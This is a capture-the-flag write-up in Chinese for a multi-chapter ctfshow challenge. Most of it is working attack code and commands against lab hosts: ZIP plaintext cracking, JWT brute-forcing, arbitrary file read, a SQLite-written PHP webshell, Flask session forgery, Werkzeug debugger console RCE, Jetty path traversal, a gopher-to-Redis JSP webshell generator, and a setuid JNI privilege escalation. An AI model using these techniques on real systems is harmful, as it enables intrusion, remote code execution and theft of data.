第一章

启程(比赛群:1014981710)

明文攻击

bkcrack.exe -C start.zip -c start.png  -x 0 89504E470D0A1A0A0000000D49484452

image

得到key后解出密码

[20:18:35] Keys
6ee11e1d bb0a9ae5 4379aa1e

bkcrack -k 6ee11e1d bb0a9ae5 4379aa1e -r 10 ?p

image_1

或者直接爆破密码

image3.png

flag

654321

ctfshow{654321}

破解加密通讯

用 zsteg 看一下

得到字符串

aWYgX19uYW1lX18gPT0gJ19fbWFpbl9fJzoKICAgIHRyeToKICAgICAgICBpbXBvcnQgc2VjcmV0TWVzc2FnZVJlc3BvbnNlCiAgICBleGNlcHQgSW1wb3J0RXJyb3I6CiAgICAgICAgaW1wb3J0IHBpcAogICAgICAgIHBpcC5tYWluKFsnaW5zdGFsbCcsICdzZWNyZXRNZXNzYWdlUmVzcG9uc2UnXSkKICAgICAgICBmcm9tIHNlY3JldE1lc3NhZ2VSZXNwb25zZSBpbXBvcnQgcHJpbnRNZXNzYWdl

base64解码得到一段代码

接着安装库和执行代码,跟进库里面查看源码,根据里面的信息写出解密脚本

from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.primitives.asymmetric import padding
from cryptography.hazmat.primitives import hashes

message = {
"inputMessage_20241216" :'''gHgAsclUVPhWDv4S8Oa8SuRTDaj+V0dI4z2jrQwfvfSFWilWwMKwNULUI48UBLS2shZcm/yv2/e5Hq5VRDfXkdxCYQMdvdnvONtpm2yNiIaLpDV4Rs8fOXJ6kcaeT+mg4RkIIFgx35w4J1KgO72pSP8j1p+R9f9TNMafwJ91XmO4QTcOYkMKQMddKvhbyMXzJkSS0uZqEppNSIUnVX9b7m8PmMjV0uHShvb1Zc8UQWJWUJ3cOxwNasOeMQGxJrZXPkxIxDYzm3f0tXbCgvdgNZ8TQY7u+iCXjOtD6xnUsdSahnPq14BD30CilIfsG0r/klPHfxQ+psmHSX47Ylai0TtgfbHWJJ4lSo0ojMvTx6HYK8zmAoCmg4OGXDbv/IjJgYU1w24na0iXZCNtcjB9MLRNck00c20f/uS64Ss0Ixii8nmfsFOjQBCcIYN+HGmOnj5Uw8DVJrxlOmcfQciG3rzuIvYlbOdGMcyarTy2Ba7iZfoovYZObPscAwhNLWqbU4tuR78aOVxiXTFRY7+Y0x2eRT5sulcvB3vsKuDMlNrxaUgiFUohPBZGNsgQgyCPxxqk0NpUn0bbHLH+vBebjJxaim4AU28ctWW8xv7xpxVttb0EoohtK2cIHr79ep5XrU/rv4R58obD/o+QqI1Mrb4wwpX9tsL7ZbROw/MXJwM=''',
"inputMessage_20240411" : '''Z93Khatj+AWZcpPwIqu8LzbJ8xb8CuVMI8okE0qwoQD2IC2lixg77mJZireOrbW7zFkDsk1hP67dROJZwVUDrYot2g5GxX/xy7lGjIblUX4iJVUtP4mHqZUgKROaLoh/gippMpP+8Ik2X/QRBx5gdhq0xam+wuVC+77/tyu8Fd/DohKbAMp8aaJsFr/W4mLDZ1gv4JK+2O3l+bAvpodBRTzb0ld5zD2ueYvjTudoDjdanQP1oVTH7pkDO2Vb+SsdIyTi2C410JEOF4Qm8mzVHtiOunOcLVpAlQsM6/LdhqsTNelXl/Myb84NGxwGWVmx6j2QejiL7S1hHeHlmQ9ExHeURPdZAvKhgMCemYXu3BGlFq3ydb5SkqwLFvM4vJ6XUBcWkHT8eijBFF6Y7YgOv9GRvBTnsAQhUBp4W4EAMtXkDdToG+S8ZO7El8Gh8jaWC49n5CuUBRz3z2GeOVbsBamfLV06IO5v78jGHXig4saEFKHvYSIGewyUCVQEGoIR5xOTJBTUTePAdvQjfg28vZZxFB/hIYNDUHkaek1Mg1UH5HWGgsCX1In5hSX/9eBkznEhzeWnJ1yMsYkj+ddN34DLQSrHc83geXMcoW3Ah3cAQG8E8bszvKL3hme+T5rOeENjkOAgYhf84k4YlxDskdwvzyu8HkE9CSaBpDP6lKI=''',
"inputMessage_20240305" : '''ckDSthpl5DDJMpBE26Jqk8EjaSq7MUntdwLHPouwx6D38un6WQfLJ9wgDyjh9GA/ICJR7WrwWsVinr6y3u9w+ubMZ0mqmtnphzQraagk8NkKc1u1+qGp8llsud3C8mvJWa4GYa9KEhnACDHwppPKJDCfr1HKwPbR0NIi+1Aunmy6DeOKRkFwysnrSco5QiiC9+gdXFhQDmN9KEiYW6Pc3mWVbqFiJgRW3/Df6638oGPm6AUcgRnEWMKiluyN81frM9VNtCeJ64YrU6Rgx4D153YxNNQbLTcyCQMamHTrJnhxPojkuDqbEcU+iiN4offwrQyr4eEu9ecvmyD2w/n7pAOsVnqSzroBujVA+CK6Zq8Uie15mL5yWG9hD5ZcbSwnRmtqK3yl0Xl91hgn1JqcIEKtf+MnMQPr80uoxT3mz8IX8pyVnyyw1x6F+IK1I2G+5w6rUDjhzIbME5XB9hopwcswsXrMo9PP6/5Sz1noJrsu6k6WN8ZM0MyRIav+xuKP1+cYzlPSQZrMo3L4ieHQnBbsoyzGVf9QONMwaooGOrxu88ZWlGe8e7eyCzteeNSVOC2zqtQiwQJIgfp2UwTymA/cEjOICWVzUXwbE5wWUBPCLp2C/XWc82byrOHAFXHLOVKgolVToUpZ5uOvizgk/ahaxdGxGa9CrRyr6sf+goA=''',

}

from Crypto.PublicKey import RSA
from Crypto.Util.number import *
import base64
p = 31764044218067306492147889531461768510318119973238219147743625781223517377940974553025619071173628007991575510570365772185728567874710285810316184852553098753128108078975486635418847058797903708712720921754985829347790065080083720032152368134209675749929875336343905922553986957365581428234650288535216460326756576870072581658391409039992017661511831846885941769553385318452234212849064725733948770687309835172939447056526911787218396603271670163178681907015237200091850112165224511738788059683289680749377500422958532725487208309848648092125981780476161201616645007489243158529515899301932222796981293281482590413681

q = 19935965463251204093790728630387918548913200711797328676820417414861331435109809773835504522004547179742451417443447941411851982452178390931131018648260880134788113098629170784876904104322308416089636533044499374973277839771616505181221794837479001656285339681656874034743331472071702858650617822101028852441234915319854953097530971129078751008161174490025795476490498225822900160824277065484345528878744325480894129738333972010830499621263685185404636669845444451217075393389824619014562344105122537381743633355312869522701477652030663877906141024174678002699020634123988360384365275976070300277866252980082349473657

n = p * q
e = 0x10001
d = inverse(e,(p - 1) * (q - 1))
pub = RSA.construct((n,e,d,p,q))

with open('out.pem','wb') as f:
f.write(pub.exportKey('PEM'))
with open('out.pem','rb') as f:
pri_key = f.read()
# print(pri_key)

private_key = serialization.load_pem_private_key(pri_key,password=None,backend=default_backend())

for key, value in message.items():
encrypted = base64.b64decode(value)
message = private_key.decrypt(
encrypted,
padding.OAEP(
mgf=padding.MGF1(algorithm=hashes.SHA256()),
algorithm=hashes.SHA256(),
label=None
)
)
print(base64.b64decode(message).decode())

result

Park:
你的行动已经暴露,24小时内迅速撤离,销毁所有资料,将现有资料统一上传到【任务中心】
发送人:Dylan
Park:
总部已经为你安排新的身份,请务必在3日内抵台,你的新身份是新竹县动物保护防疫所网络安全顾问,【任务中心】账号密码和你任职 单位网站的数据库用户名密码一致,请尽快修改
发送人:Dylan
Park:
【任务中心】网址已变更为 https://task.ctfer.com ,请注意修改浏览器地址栏中的链接
发送人:Dylan

flag

ctfshow{https://task.ctfer.com}

潜入敌营

懂的都懂,需要自行体会(

hsinchug_wp1
Q.4Vyj8VCiedX1KYU5g05

ctfshow{hsinchug_wp1_Q.4Vyj8VCiedX1KYU5g05}

第二章

秘密潜伏

由图片可以得到部分key,生成字典爆破jwt

jwt爆破

import jwt
import itertools

def decode_JWT(token,key):
content = jwt.decode(jwt=token, key='123', algorithms=['HS256'])
print(content)

token = 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJoc2luY2h1Z193cDEiLCJleHAiOjE3MzU3NDQ0ODZ9.CCoQYw2w5-VflyQogNf9kKvxh_F_nrv9ncGFpG2kyN8'
key = '4a4f7d6e8b5 0c7f'
file = open('list.txt','w')
for x in itertools.product('0123456789abcdef', repeat=3):
tmp = "".join(x)
# print(tmp)
new_key = key.replace(' ',tmp)
file.write(new_key+'\n')
file.close()

访问 /getPhone

收集敌方身份信息

任意文件读取

/listTaskFiles?path=
/readTaskFile?path=&file_name=init_users.json

ctfshow{7y.(sc#Ac_}

一些用户信息

secret_user:root:7y.(sc#Ac_
hsinchug_wp1:Q.4Vyj8VCiedX1KYU5g05
dylan:8f7a55c6d9a7d9a7

横向渗透

爆破,得到以下网站

http://172.2.86.6:8888/

http://172.2.86.5/

http://172.2.86.7:8080/

访问http://172.2.86.5/

flag

ctfshow{0x8F7C71E8E82E4D1E}

第三章

跳岛战术

index.php

<!DOCTYPE html lang="en">

<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Database TEST</title>
<script>
const DATABASE_SECRET_KEY = '0x8F7C71E8E82E4D1E';
</script>
</head>

<body>
<h1>Welcome to Database TEST</h1>
<p>This is a test page for database connection and queries.</p>
<form action="index.php" method="get">
<label for="name">Enter Database username:</label>
<input type="text" id="name" name="username" required>
<br><br>
<label for="password">Enter Database password:</label>
<input type="password" id="password" name="password" required>
<br><br>
<label for="dsn">Enter Database DSN:</label>
<input type="text" id="dsn" name="dsn" required>
<br><br>
<label for="query">Enter TEST Query:</label>
<input type="text" id="query" name="query" required>
<br><br>
<input type="submit" value="Submit">
</form>
</body>

<html>

连接sqlite写马

dylan:8f7a55c6d9a7d9a7
root:7y.(sc#Ac_

http://172.2.187.5/?username=1%26password=1%26query=CREATE TABLE users (name TEXT);%26dsn=sqlite:b.php
http://172.2.187.5/?username=1%26password=1%26query=INSERT INTO users (name) VALUES ('<?php file_put_contents("4.php","<?php system(\$_GET[0]);?>");?>');%26dsn=sqlite:b.php
http://172.2.187.5/b.php
http://172.2.187.5/4.php?0=ls

flag

ctfshow{3f7a1d5a-d55d-4d9d-8d9a-d5d5d5d5d5d5}

邮箱迷云

填任务图上的数字

message3.jpg

ctfshow{81192}

第四章

http://172.2.86.6:8888/

再下一城

读 main.py.bak

from flask import Flask, request, jsonify,session
from flask import url_for
from flask import redirect
import logging
from os.path import basename
from os.path import join

app = Flask(__name__)

app.config['SECRET_KEY'] = '3f7a4d5a-a71a-4d9d-8d9a-d5d5d5d5d5d5'

@app.route('/', methods=['GET'])
def index():
session['user']='guest'
return {'message': 'log server is running'}

def check_session():
if 'user' not in session:
return False
if session['user'] != 'admin':
return False
return True

@app.route('/key', methods=['GET'])
def get_key():
if not check_session():
return {"message": "not authorized"}
else:
with open('/log_server_key.txt', 'r') as f:
key = f.read()
return {'message': 'key', 'key': key}

@app.route('/set_log_option')
def set_log_option():
if not check_session():
return {"message": "not authorized"}

logName = request.args.get('logName')
logFile = request.args.get('logFile')
app_log = logging.getLogger(logName)
app_log.addHandler(logging.FileHandler('./log/'+logFile))
app_log.setLevel(logging.INFO)
clear_log_file('./log/'+logFile)
return {'message': 'log option set successfully'}

@app.route('/get_log_content')
def get_log_content():
if not check_session():
return {"message": "not authorized"}

logFile = request.args.get('logFile')
path = join('log',basename(logFile))
with open(path, 'r') as f:
content = f.read()
return {'message': 'log content', 'content': content}

def clear_log_file(file_path):
with open(file_path, 'w'):
pass

if __name__ == '__main__':
app.run(debug=True, host='0.0.0.0', port=8888)

session伪造

app.config['SECRET_KEY'] = '3f7a4d5a-a71a-4d9d-8d9a-d5d5d5d5d5d5'

{'user':'admin'}
session=eyJ1c2VyIjoiYWRtaW4ifQ.Z3d-Cw.Vdggh-Dhd79zlRivNptX52pUPfU

访问 /log_server_key.txt

curl http://172.2.217.6:8888/key --cookie "session=eyJ1c2VyIjoiYWRtaW4ifQ.Z3d-Cw.Vdggh-Dhd79zlRivNptX52pUPfU"

flag

ctfshow{4f5d1d5d-1d5d-1d5d1d5d1d5d}

顺藤摸瓜

查看werkzeug的源码,可以看到输出pin码的操作

# 设置log
/set_log_option?logFile=1.txt&logName=werkzeug
# 把pin码输出到log
/set_log_option?__debugger__=yes&cmd=printpin&f=console.png&s=vUG6gadIPdCwgON6Iwtc
# 读log
/get_log_content?logFile=1.txt

curl 'http://172.2.187.6:8888/set_log_option?logFile=1.txt%2526logName=werkzeug' --cookie "session=eyJ1c2VyIjoiYWRtaW4ifQ.Z3d-Cw.Vdggh-Dhd79zlRivNptX52pUPfU"

curl 'http://172.2.187.6:8888/set_log_option?__debugger__=yes%2526cmd=printpin%2526f=console.png%2526s=6ipoh2hrWpXMdN4zEMmg' --cookie "session=eyJ1c2VyIjoiYWRtaW4ifQ.Z3d-Cw.Vdggh-Dhd79zlRivNptX52pUPfU"

curl 'http://172.2.187.6:8888/get_log_content?logFile=1.txt' --cookie "session=eyJ1c2VyIjoiYWRtaW4ifQ.Z3d-Cw.Vdggh-Dhd79zlRivNptX52pUPfU"

得到pin码后,输入pin码

Debugger pin code: 957-930-044

/set_log_option?__debugger__=yes&cmd=pinauth&pin=957-930-044&s=Kquw5tAtf58SPhAGwWHU

curl 'http://172.2.187.6:8888/set_log_option?__debugger__=yes%2526cmd=pinauth%2526pin=957-930-044%2526s=6ipoh2hrWpXMdN4zEMmg' --cookie "session=eyJ1c2VyIjoiYWRtaW4ifQ.Z3d-Cw.Vdggh-Dhd79zlRivNptX52pUPfU" -i

得到cookie,执行命令

/console?__debugger__=yes&cmd=__import__('os').popen('whoami').read()&frm=0&s=vUG6gadIPdCwgON6Iwtc
Cookie: __wzd6f77f3747f58948d6a63=1736167845|61d67b094ccb

curl "http://172.2.187.6:8888/console?__debugger__=yes%2526cmd=print(__import__('os').popen('cat%252509/etc/passwd').read())%2526frm=0%2526s=6ipoh2hrWpXMdN4zEMmg" --cookie "__wzd6f77f3747f58948d6a63=1736167845|61d67b094ccb"

flag

ctfshow{ctfer:x:1000:1000::/home/ctfer:/bin/bash}

第五章

http://172.2.86.7:8080/

艰难的最后一步

Jetty(9.4.40.v20210413)

/downloadTaskFile?url=http://172.2.217.7:8080/a/b/..%2500/WEB-INF/web.xml

得到web.xml

<!DOCTYPE web-app PUBLIC
"-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
"http://java.sun.com/dtd/web-app_2_3.dtd" >

<web-app>
<display-name>Archetype Created Web Application</display-name>

<!-- 环境参数 -->
<env-entry>
<env-entry-name>redis.host</env-entry-name>
<env-entry-type>java.lang.String</env-entry-type>
<env-entry-value>localhost</env-entry-value>
</env-entry>

<env-entry>
<env-entry-name>redis.port</env-entry-name>
<env-entry-type>java.lang.Integer</env-entry-type>
<env-entry-value>6380</env-entry-value>
</env-entry>

<env-entry>
<env-entry-name>redis.password</env-entry-name>
<env-entry-type>java.lang.String</env-entry-type>
<env-entry-value>ctfshow_2025</env-entry-value>
</env-entry>

<env-entry>
<env-entry-name>redis.timeout</env-entry-name>
<env-entry-type>java.lang.Integer</env-entry-type>
<env-entry-value>10000</env-entry-value>
</env-entry>

<env-entry>
<env-entry-name>app_root</env-entry-name>
<env-entry-type>java.lang.String</env-entry-type>
<env-entry-value>/opt/jetty/webapps/ROOT/</env-entry-value>
</env-entry>

</web-app>

redis的密码

ctfshow_2025
ctfshow{ctfshow_2025}

port: 6380

功亏一篑

用curl打redis写马

exp

import urllib.parse
import base64

protocol="gopher://"
ip="172.2.187.7"
port="6380"
shell = "\n\n<% Runtime.getRuntime().exec(request.getParameter(\"cmd\"));%>\n\n"
filename="aa.jsp"
path="/opt/jetty/webapps/ROOT/"
passwd="ctfshow_2025" #如果无密码就不加,如果有密码就加
cmd=["flushall",
"set 1 {}".format(shell.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
CRLF="\r\n"
redis_arr = arr.split(" ")
cmd=""
cmd+="*"+str(len(redis_arr))
for x in redis_arr:
cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
cmd+=CRLF
return cmd

if __name__=="__main__":
tmp = ''
for x in cmd:
tmp += urllib.parse.quote(redis_format(x))
tmp = urllib.parse.quote(tmp)
payload += urllib.parse.quote(tmp)
print(payload)

得到

gopher://172.2.187.7:6380/_%25252A2%25250D%25250A%2525244%25250D%25250AAUTH%25250D%25250A%25252412%25250D%25250Actfshow_2025%25250D%25250A%25252A1%25250D%25250A%2525248%25250D%25250Aflushall%25250D%25250A%25252A3%25250D%25250A%2525243%25250D%25250Aset%25250D%25250A%2525241%25250D%25250A1%25250D%25250A%25252464%25250D%25250A%25250A%25250A%25253C%252525%252520Runtime.getRuntime%252528%252529.exec%252528request.getParameter%252528%252522cmd%252522%252529%252529%25253B%252525%25253E%25250A%25250A%25250D%25250A%25252A4%25250D%25250A%2525246%25250D%25250Aconfig%25250D%25250A%2525243%25250D%25250Aset%25250D%25250A%2525243%25250D%25250Adir%25250D%25250A%25252424%25250D%25250A/opt/jetty/webapps/ROOT/%25250D%25250A%25252A4%25250D%25250A%2525246%25250D%25250Aconfig%25250D%25250A%2525243%25250D%25250Aset%25250D%25250A%25252410%25250D%25250Adbfilename%25250D%25250A%2525246%25250D%25250Aaa.jsp%25250D%25250A%25252A1%25250D%25250A%2525244%25250D%25250Asave%25250D%25250A

发送过去即可写入一句话无回显的马

写一个脚本实现回显

import requests
import json
import base64
import urllib.parse

def getResule():
burp0_url = "http://c01975ab-f05f-48da-a729-614f59220d15.challenge.ctf.show/downloadTaskFile?url=http://172.2.187.7:8080/a/b/..%2500/WEB-INF/1.txt"
burp0_headers = {"Connection": "close", "sec-ch-ua-platform": "\"Windows\"", "Authorization": "Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJkeWxhbiIsImV4cCI6MTczNjI0NTg1OH0.04T2Ni6yKu4C-pBK4-oUKxrQ6K5C8q34xwdhCvNNhZA", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "Accept": "application/json, text/plain, */*", "sec-ch-ua": "\"Google Chrome\";v=\"131\", \"Chromium\";v=\"131\", \"Not_A Brand\";v=\"24\"", "sec-ch-ua-mobile": "?0", "Origin": "https://task.ctfer.com", "Sec-Fetch-Site": "cross-site", "Sec-Fetch-Mode": "cors", "Sec-Fetch-Dest": "empty", "Referer": "https://task.ctfer.com/", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9"}
return json.loads(requests.get(burp0_url, headers=burp0_headers).text)['file_content']

def send(cmd):
new_cmd = 'bash -c {echo,[cmd]}|{base64,-d}|{bash,-i}'.replace('[cmd]',base64.b64encode(cmd).decode())
new_cmd = urllib.parse.quote(new_cmd)
new_cmd = urllib.parse.quote(new_cmd)
burp0_url = f"http://c01975ab-f05f-48da-a729-614f59220d15.challenge.ctf.show/downloadTaskFile?url=http://172.2.187.7:8080/aa.jsp?cmd={new_cmd}"
burp0_headers = {"Connection": "close", "sec-ch-ua-platform": "\"Windows\"", "Authorization": "Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJkeWxhbiIsImV4cCI6MTczNjI0NTg1OH0.04T2Ni6yKu4C-pBK4-oUKxrQ6K5C8q34xwdhCvNNhZA", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "Accept": "application/json, text/plain, */*", "sec-ch-ua": "\"Google Chrome\";v=\"131\", \"Chromium\";v=\"131\", \"Not_A Brand\";v=\"24\"", "sec-ch-ua-mobile": "?0", "Origin": "https://task.ctfer.com", "Sec-Fetch-Site": "cross-site", "Sec-Fetch-Mode": "cors", "Sec-Fetch-Dest": "empty", "Referer": "https://task.ctfer.com/", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9"}
requests.get(burp0_url, headers=burp0_headers)

cmd = b'cat /dylan.txt >/opt/jetty/webapps/ROOT/WEB-INF/1.txt'
send(cmd)
print(getResule())

flag

The enemy cyber attacker 81192 has been injected with prions by our agents, 
and there is no chance of survival, victory is ours!
The key is 7b11a7ae330883cb5bf667a9c1604635.

ctfshow{7b11a7ae330883cb5bf667a9c1604635}

今日方知我是我

提权

getcap -r / 2>/dev/null

/usr/local/openjdk-8/bin/java = cap_setuid+ep

发现java有setuid权限,写jni提权,可以参考单身杯的文件上传

JniClass.c

#include <jni.h>
#include "NativeLibraryExample.h"
#include <string.h>
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
#include <stdlib.h>

int execmd(const char *cmd, char *result)
{
setuid(0);
char buffer[1024*12]; //定义缓冲区
FILE *pipe = popen(cmd, "r"); //打开管道,并执行命令
if (!pipe)
return 0; //返回0表示运行失败

while (!feof(pipe))
{
if (fgets(buffer, sizeof(buffer), pipe))
{ //将管道输出到result中
strcat(result, buffer);
}
}
pclose(pipe); //关闭管道
return 1; //返回1表示运行成功
}

JNIEXPORT void JNICALL Java_NativeLibraryExample_nativeMethod(JNIEnv *env, jobject obj, jstring jstr)

{

const char *cstr = (*env)->GetStringUTFChars(env, jstr, NULL);
char result[1024 * 12] = "";
if (1 == execmd(cstr, result))
{
// printf(result);
}

char return_messge[100] = "";
strcat(return_messge, result);
jstring cmdresult = (*env)->NewStringUTF(env, return_messge);
//system();

return cmdresult;
}

Main.java

public class Main {
public native void nativeMethod(String cmd);
public static void main(String[] args) {
System.load("/tmp/libcmd.so");
NativeLibraryExample example = new NativeLibraryExample();

example.nativeMethod("cat /root/message.txt > /tmp/2.txt");
}
}

最终脚本

import requests
import json
import base64
import urllib.parse

def getResule():
burp0_url = "http://c01975ab-f05f-48da-a729-614f59220d15.challenge.ctf.show/downloadTaskFile?url=http://172.2.187.7:8080/a/b/..%2500/WEB-INF/1.txt"
burp0_headers = {"Connection": "close", "sec-ch-ua-platform": "\"Windows\"", "Authorization": "Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJkeWxhbiIsImV4cCI6MTczNjI0NTg1OH0.04T2Ni6yKu4C-pBK4-oUKxrQ6K5C8q34xwdhCvNNhZA", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "Accept": "application/json, text/plain, */*", "sec-ch-ua": "\"Google Chrome\";v=\"131\", \"Chromium\";v=\"131\", \"Not_A Brand\";v=\"24\"", "sec-ch-ua-mobile": "?0", "Origin": "https://task.ctfer.com", "Sec-Fetch-Site": "cross-site", "Sec-Fetch-Mode": "cors", "Sec-Fetch-Dest": "empty", "Referer": "https://task.ctfer.com/", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9"}
return json.loads(requests.get(burp0_url, headers=burp0_headers).text)['file_content']

def send(cmd):
new_cmd = 'bash -c {echo,[cmd]}|{base64,-d}|{bash,-i}'.replace('[cmd]',base64.b64encode(cmd).decode())
new_cmd = urllib.parse.quote(new_cmd)
new_cmd = urllib.parse.quote(new_cmd)
burp0_url = f"http://c01975ab-f05f-48da-a729-614f59220d15.challenge.ctf.show/downloadTaskFile?url=http://172.2.187.7:8080/aa.jsp?cmd={new_cmd}"
burp0_headers = {"Connection": "close", "sec-ch-ua-platform": "\"Windows\"", "Authorization": "Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJkeWxhbiIsImV4cCI6MTczNjI0NTg1OH0.04T2Ni6yKu4C-pBK4-oUKxrQ6K5C8q34xwdhCvNNhZA", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "Accept": "application/json, text/plain, */*", "sec-ch-ua": "\"Google Chrome\";v=\"131\", \"Chromium\";v=\"131\", \"Not_A Brand\";v=\"24\"", "sec-ch-ua-mobile": "?0", "Origin": "https://task.ctfer.com", "Sec-Fetch-Site": "cross-site", "Sec-Fetch-Mode": "cors", "Sec-Fetch-Dest": "empty", "Referer": "https://task.ctfer.com/", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9"}
requests.get(burp0_url, headers=burp0_headers)

# /usr/local/openjdk-8/bin/java = cap_setuid+ep

cmd = b"echo cHVibGljIGNsYXNzIE5hdGl2ZUxpYnJhcnlFeGFtcGxlIHsKICAgIC8vIOWjsOaYjm5hdGl2ZeaWueazlQogICAgcHVibGljIG5hdGl2ZSB2b2lkIG5hdGl2ZU1ldGhvZChTdHJpbmcgY21kKTsKCiAgICBwdWJsaWMgc3RhdGljIHZvaWQgbWFpbihTdHJpbmdbXSBhcmdzKSB7CgogICAgICAgIE5hdGl2ZUxpYnJhcnlFeGFtcGxlIGV4YW1wbGUgPSBuZXcgTmF0aXZlTGlicmFyeUV4YW1wbGUoKTsKCiAgICAgICAgZXhhbXBsZS5uYXRpdmVNZXRob2QoIm1hdGUtY2FsYyIpOyAvLyDosIPnlKhuYXRpdmXmlrnms5UKICAgIH0KfQ==|base64 -d >/tmp/NativeLibraryExample.java"
cmd = b"cd /tmp;javac NativeLibraryExample.java"
cmd = b"cd /tmp;javah -jni NativeLibraryExample"

cmd = b"echo I2luY2x1ZGUgPGpuaS5oPgojaW5jbHVkZSAiTmF0aXZlTGlicmFyeUV4YW1wbGUuaCIKI2luY2x1ZGUgPHN0cmluZy5oPgojaW5jbHVkZSA8c3RkaW8uaD4KI2luY2x1ZGUgPHN5cy90eXBlcy5oPgojaW5jbHVkZSA8dW5pc3RkLmg+CiNpbmNsdWRlIDxzdGRsaWIuaD4KCmludCBleGVjbWQoY29uc3QgY2hhciAqY21kLCBjaGFyICpyZXN1bHQpCnsKICAgIHNldHVpZCgwKTsKICAgIGNoYXIgYnVmZmVyWzEwMjQqMTJdOyAgICAgICAgICAgICAgLy/lrprkuYnnvJPlhrLljLoKICAgIEZJTEUgKnBpcGUgPSBwb3BlbihjbWQsICJyIik7IC8v5omT5byA566h6YGT77yM5bm25omn6KGM5ZG95LukCiAgICBpZiAoIXBpcGUpCiAgICAgICAgcmV0dXJuIDA7IC8v6L+U5ZueMOihqOekuui/kOihjOWksei0pQoKICAgIHdoaWxlICghZmVvZihwaXBlKSkKICAgIHsKICAgICAgICBpZiAoZmdldHMoYnVmZmVyLCBzaXplb2YoYnVmZmVyKSwgcGlwZSkpCiAgICAgICAgeyAvL+WwhueuoemBk+i+k+WHuuWIsHJlc3VsdOS4rQogICAgICAgICAgICBzdHJjYXQocmVzdWx0LCBidWZmZXIpOwogICAgICAgIH0KICAgIH0KICAgIHBjbG9zZShwaXBlKTsgLy/lhbPpl63nrqHpgZMKICAgIHJldHVybiAxOyAgICAgIC8v6L+U5ZueMeihqOekuui/kOihjOaIkOWKnwp9CgoKSk5JRVhQT1JUIHZvaWQgSk5JQ0FMTCBKYXZhX05hdGl2ZUxpYnJhcnlFeGFtcGxlX25hdGl2ZU1ldGhvZChKTklFbnYgKmVudiwgam9iamVjdCBvYmosIGpzdHJpbmcganN0cikKCnsKCiAgICBjb25zdCBjaGFyICpjc3RyID0gKCplbnYpLT5HZXRTdHJpbmdVVEZDaGFycyhlbnYsIGpzdHIsIE5VTEwpOwogICAgY2hhciByZXN1bHRbMTAyNCAqIDEyXSA9ICIiOwogICAgaWYgKDEgPT0gZXhlY21kKGNzdHIsIHJlc3VsdCkpCiAgICB7CiAgICAgICAvLyBwcmludGYocmVzdWx0KTsKICAgIH0KCiAgICBjaGFyIHJldHVybl9tZXNzZ2VbMTAwXSA9ICIiOwogICAgc3RyY2F0KHJldHVybl9tZXNzZ2UsIHJlc3VsdCk7CiAgICBqc3RyaW5nIGNtZHJlc3VsdCA9ICgqZW52KS0+TmV3U3RyaW5nVVRGKGVudiwgcmV0dXJuX21lc3NnZSk7CiAgICAvL3N5c3RlbSgpOwoKICAgIHJldHVybiBjbWRyZXN1bHQ7Cn0K|base64 -d >/tmp/JniClass.c"
cmd = b'cd /tmp;gcc -fPIC -I"$JAVA_HOME/include" -I"$JAVA_HOME/include/linux" -shared -o libcmd.so JniClass.c'

cmd = b"echo cHVibGljIGNsYXNzIE1haW4gewogICAgcHVibGljIG5hdGl2ZSB2b2lkIG5hdGl2ZU1ldGhvZChTdHJpbmcgY21kKTsKICAgIHB1YmxpYyBzdGF0aWMgdm9pZCBtYWluKFN0cmluZ1tdIGFyZ3MpIHsKICAgICAgICBTeXN0ZW0ubG9hZCgiL3RtcC9saWJjbWQuc28iKTsKICAgICAgICBOYXRpdmVMaWJyYXJ5RXhhbXBsZSBleGFtcGxlID0gbmV3IE5hdGl2ZUxpYnJhcnlFeGFtcGxlKCk7CgogICAgICAgIGV4YW1wbGUubmF0aXZlTWV0aG9kKCJjYXQgL3Jvb3QvbWVzc2FnZS50eHQgPiAvdG1wLzIudHh0Iik7IAogICAgfQp9|base64 -d >/tmp/Main.java"
cmd = b"cd /tmp;javac Main.java"
cmd = b"cd /tmp;java Main 2&>/opt/jetty/webapps/ROOT/WEB-INF/1.txt"

cmd = b'cat /tmp/2.txt>/opt/jetty/webapps/ROOT/WEB-INF/1.txt'

send(cmd)
print(getResule())

最后的flag

致信后来者:

同志你好!我是81192,我不是第一批81192,也不会是最后一批8119281192从来不是一个人。
现在,同志,你也是81192的一员了。

我已经清理和收集了他们的所有资料并传回总部,但是在我离开的时候,被dylan投毒,我已经感染了他们的朊病毒。
我把我的最后的话,都放到了一个网址里面,你在他们的任务中心中,用dylan身份登陆后,在管理菜单中 访问下面地址,就能看到了!再见了,同志!
网址是:http://8.11.9.2

现在我命令你:
我已无法返航,请继续前进!请继续前进!

(完)